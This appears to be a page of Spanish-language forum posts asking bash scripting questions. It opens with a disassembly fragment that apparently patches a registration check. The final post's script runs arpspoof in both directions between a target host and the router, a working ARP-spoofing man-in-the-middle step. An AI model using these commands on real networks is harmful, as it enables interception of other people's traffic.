004094AD   .  816C24 04 9B0>SUB DWORD PTR SS:[ESP+0x4],0x9B
004094B5   .  E9 A69F0100   JMP N_Regist.00423460
004094BA   .  816C24 04 FFF>SUB DWORD PTR SS:[ESP+0x4],0xFFFF
004094C2   .  E9 89A00100   JMP N_Regist.00423550


¿Qué más viene?, saludos
#88
Scripting / grep en dos comandos a la vez?
8 Noviembre 2013, 22:57 PM
Cómo podría hacer un grep de dos comandos a la vez

INPUT=`(command vale; command value ) | grep match`

Es una simple representación de lo que me gustaría hacer, es decir que el output de dos comandos pasen por el grep. Saludos

#89
Scripting / Comparar parte de una IP en bash
8 Noviembre 2013, 03:06 AM
Hola a todos, me surge el siguiente problema:

¿Cómo podría hacer para que se compare solo lo que está ennegrecido?:

192.168.12.123
190.161.11.133

Creo que una solución sería comparar luego de encontrar el primer punto, si se considera el orden de derecha a izquierda.

Saludos
#90
Scripting / Duda con condición BASH
7 Noviembre 2013, 16:51 PM
Hola a todos, tengo el siguiente código:

Código (bash) [Seleccionar]
if [[ "$TARGET" =~ "$REPLY" ]];then
else
arpspoof -i "$INTERFACE" -t "$REPLY" "$ROUTER_INET_IP" 2> /dev/null &
arpspoof -i "$INTERFACE" -t "$ROUTER_INET_IP" "$REPLY" 2> /dev/null &
TARGET=${TARGET}" "$REPLY
echo "IP:$REPLY"
let "COUNT += 1"
fi


Cómo podría hacer para eliminar el else, entiendo que debo negar la condición, pero no lo logro:
Código (bash) [Seleccionar]
!=~

o con

Código (bash) [Seleccionar]
]if [![ "$TARGET" =~ "$REPLY" ]];then

Saludos